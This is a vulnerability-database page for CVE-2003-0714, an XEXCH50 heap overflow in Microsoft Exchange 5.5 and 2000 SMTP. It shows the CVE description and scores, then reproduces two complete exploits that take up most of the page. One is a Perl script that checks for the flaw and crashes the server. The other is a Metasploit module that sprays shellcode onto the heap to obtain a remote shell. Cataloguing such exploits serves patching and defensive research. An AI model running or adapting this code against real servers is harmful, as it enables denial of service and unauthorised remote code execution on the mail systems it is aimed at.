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CVE Descriptions
The Internet Mail Service in Exchange Server 5.5 and Exchange 2000 allows remote attackers to cause a denial of service (memory exhaustion) by directly connecting to the SMTP service and sending a certain extended verb request, possibly triggering a buffer overflow in Exchange 2000.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Uncontrolled Resource Consumption The product does not properly control the allocation and maintenance of a limited resource. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 7.5 | AV:N/AC:L/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 113
Publication date : 2003-10-21 22h00 +00:00
Author : H D Moore
EDB Verified : Yes
#!/usr/bin/perl -w
##################
##
# ms03-046.pl - hdm metasploit com
# This vulnerability allows a remote unauthenticated user to overwrite big chunks
# of the heap used by the inetinfo.exe process. Reliably exploiting this bug is
# non-trivial; even though the entire buffer is binary safe (even nulls) and can be
# just about any size, the actual code that crashes varies widely with each request.
# During the analysis process, numerous combinations of request size, concurrent
# requests, pre-allocations, and alternate trigger routes were examined and not a
# single duplicate of location and data offset was discovered. Hopefully the magic
# combination of data, size, and setup will be found to allow this bug to be reliably
# exploited.
# minor bugfix: look for 354 Send binary data
use strict;
use IO::Socket;
my $host = shift() || usage();
my $mode = shift() || "CHECK";
my $port = 25;
if (uc($mode) eq "CHECK") { check() }
if (uc($mode) eq "CRASH") { crash() }
usage();
sub check
{
my $s = SMTP($host, $port);
if (! $s)
{
print "[*] Error establishing connection to SMTP service.\n";
exit(0);
}
print $s "XEXCH50 2 2\r\n";
my $res = <$s>;
close ($s);
# a patched server only allows XEXCH50 after NTLM authentication
if ($res !~ /354 Send binary/i)
{
print "[*] This server has been patched or is not vulnerable.\n";
exit(0);
}
print "[*] This system is vulnerable: $host:$port\n";
exit(0);
}
sub crash
{
my $s = SMTP($host, $port);
if (! $s)
{
print "[*] Error establishing connection to SMTP service.\n";
exit(0);
}
# the negative value allows us to overwrite random heap bits
print $s "XEXCH50 -1 2\r\n";
my $res = <$s>;
# a patched server only allows XEXCH50 after NTLM authentication
if ($res !~ /354 Send binary/i)
{
print "[*] This server has been patched or is not vulnerable.\n";
exit(0);
}
print "[*] Sending massive heap-smashing string...\n";
print $s ("META" x 16384);
# sometimes a second connection is required to trigger the crash
$s = SMTP($host, $port);
exit(0);
}
sub usage
{
print STDERR "Usage: $0 <host> [CHECK|CRASH]\n";
exit(0);
}
sub SMTP
{
my ($host, $port) = @_;
my $s = IO::Socket::INET->new
(
PeerAddr => $host,
PeerPort => $port,
Proto => "tcp"
) || return(undef);
my $r = <$s>;
return undef if !$r;
if ($r !~ /Microsoft/)
{
chomp($r);
print STDERR "[*] This does not look like an exchange server: $r\n";
return(undef);
}
print $s "HELO X\r\n";
$r = <$s>;
return undef if !$r;
print $s "MAIL FROM: DoS\r\n";
$r = <$s>;
return undef if !$r;
print $s "RCPT TO: Administrator\r\n";
$r = <$s>;
return undef if !$r;
return($s);
}
# milw0rm.com [2003-10-22]
Exploit Database EDB-ID : 16820
Publication date : 2010-11-10 23h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# $Id: ms03_046_exchange2000_xexch50.rb 10998 2010-11-11 22:43:22Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'MS03-046 Exchange 2000 XEXCH50 Heap Overflow',
'Description' => %q{
This is an exploit for the Exchange 2000 heap overflow. Due
to the nature of the vulnerability, this exploit is not very
reliable. This module has been tested against Exchange 2000
SP0 and SP3 running a Windows 2000 system patched to SP4. It
normally takes between one and 100 connection attempts to
successfully obtain a shell. This exploit is *very* unreliable.
},
'Author' =>
[
'hdm', # original module
'patrick', # msf3 port :)
],
'Version' => '$Revision: 10998 $',
'References' =>
[
[ 'CVE', '2003-0714' ],
[ 'BID', '8838' ],
[ 'OSVDB', '2674' ],
[ 'MSB', 'MS03-046' ],
[ 'URL', 'http://www.milw0rm.com/exploits/113' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Platform' => 'win',
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x0a\x0d\x20:=+\x22",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[ 'Exchange 2000', { 'Ret' => 0x0c900c90, 'BuffLen' => 3000, 'Offset1' => 11000, 'Offset2' => 512 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 15 2003'))
register_options(
[
Opt::RPORT(25),
OptString.new('MAILFROM', [ true, 'The FROM address of the e-mail', 'random@example.com']),
OptString.new('MAILTO', [ true, 'The TO address of the e-mail', 'administrator']),
OptInt.new('ATTEMPTS', [ true, 'The number of exploit attempts before halting', 100]),
])
end
def check
connect
banner = sock.get_once
if (banner !~ /Microsoft/)
print_status("Target does not appear to be an Exchange server.")
return Exploit::CheckCode::Safe
end
sock.put("EHLO #{Rex::Text.rand_text_alpha(1)}\r\n")
res = sock.get_once
if (res !~ /XEXCH50/)
print_status("Target does not appear to be an Exchange server.")
return Exploit::CheckCode::Safe
end
sock.put("MAIL FROM: #{datastore['MAILFROM']}\r\n")
res = sock.get_once
if (res =~ /Sender OK/)
sock.put("RCPT TO: #{datastore['MAILTO']}\r\n")
res = sock.get_once
if (res =~ /250/)
sock.put("XEXCH50 2 2\r\n")
res = sock.get_once
if (res !~ /Send binary data/)
print_error("Target has been patched!")
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Appears
end
end
end
disconnect
end
def smtp_setup(count)
print_status("Exploit attempt ##{count}")
connect
select(nil,nil,nil,1)
banner = sock.get_once
print_status("Connected to SMTP server: #{banner.to_s}")
if (banner !~ /Microsoft/)
print_status("Target does not appear to be running Exchange.")
return
end
select(nil,nil,nil,5)
sock.put("EHLO X\r\n")
select(nil,nil,nil,7)
res = sock.get_once
if (res !~ /XEXCH50/)
print_status("Target is not running Exchange.")
return
end
sock.put("MAIL FROM: #{datastore['MAILFROM']}\r\n")
select(nil,nil,nil,3)
sock.put("RCPT TO: #{datastore['MAILTO']}\r\n")
select(nil,nil,nil,3)
end
def exploit
bufflen = target['BuffLen']
print_status("Trying to exploit #{target.name} with address 0x%.8x..." % target['Ret'])
count = 1 # broke
begin
if (count > datastore['ATTEMPTS'])
print_error("Exploit failed after #{datastore['ATTEMPTS']}. Set ATTEMPTS to a higher value if desired.")
return # Stop after a specified number of attempts.
end
if (session_created?)
return # Stop the attack. Non-session payloads will continue regardless up to ATTEMPTS.
end
while(true)
if (smtp_setup(count))
print_status("Connection 1: ")
end
sock.put("XEXCH50 2 2\r\n")
select(nil,nil,nil,3)
res = sock.get(-1,3)
print_status("#{res}")
if (res !~ /Send binary data/)
print_status("Target is not vulnerable.")
return # commented out for the moment
end
sock.put("XX")
print_status("ALLOC")
size = 1024 * 1024 * 32
sock.put("XEXCH50 #{size} 2\r\n")
select(nil,nil,nil,3)
sploit = (([target['Ret']].pack('V')) * 256 * 1024 + payload.encoded + ("X" * 1024)) * 4 + "BEEF"
print_status("Uploading shellcode to remote heap.")
if (sock.put(sploit))
print_status("\tOK.")
end
print_status("Connection 2: ")
smtp_setup(count) # Connection 2
sock.put("XEXCH50 -1 2\r\n") # Allocate negative value
select(nil,nil,nil,2)
res = sock.get_once
if (!res)
print_error("Error - no response")
end
print_status("OK")
bufflen += target['Offset2']
if (bufflen > target['Offset1'])
bufflen = target['BuffLen']
end
heapover = [target['Ret']].pack('V') * bufflen
print_status("Overwriting heap with payload jump (#{bufflen})")
sock.put(heapover)
print_status("Starting reconnect sequences...")
10.times do |x|
print_status("Connect #{x}")
connect
sock.put("HELO X\r\n")
disconnect
end
end
rescue
print_status("Unable to connect or Exchange has crashed... Retrying.")
count += 1
retry
end
disconnect
end
end
Products Mentioned
Configuraton 0
Microsoft>>Exchange_server >> Version 5.5
- Microsoft>>Exchange_server >> Version 5.5 (Open CPE detail)
Microsoft>>Exchange_server >> Version 5.5
- Microsoft>>Exchange_server >> Version 5.5 (Open CPE detail)
Microsoft>>Exchange_server >> Version 5.5
- Microsoft>>Exchange_server >> Version 5.5 (Open CPE detail)
Microsoft>>Exchange_server >> Version 5.5
- Microsoft>>Exchange_server >> Version 5.5 (Open CPE detail)
Microsoft>>Exchange_server >> Version 5.5
- Microsoft>>Exchange_server >> Version 5.5 (Open CPE detail)
Microsoft>>Exchange_server >> Version 2000
- Microsoft>>Exchange_server >> Version 2000 (Open CPE detail)
Microsoft>>Exchange_server >> Version 2000
- Microsoft>>Exchange_server >> Version 2000 (Open CPE detail)
Microsoft>>Exchange_server >> Version 2000
- Microsoft>>Exchange_server >> Version 2000 (Open CPE detail)
Microsoft>>Exchange_server >> Version 2000
- Microsoft>>Exchange_server >> Version 2000 (Open CPE detail)
References
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2003/ms03-046
Tags : vendor-advisory, x_refsource_MS
Tags : vendor-advisory, x_refsource_MS
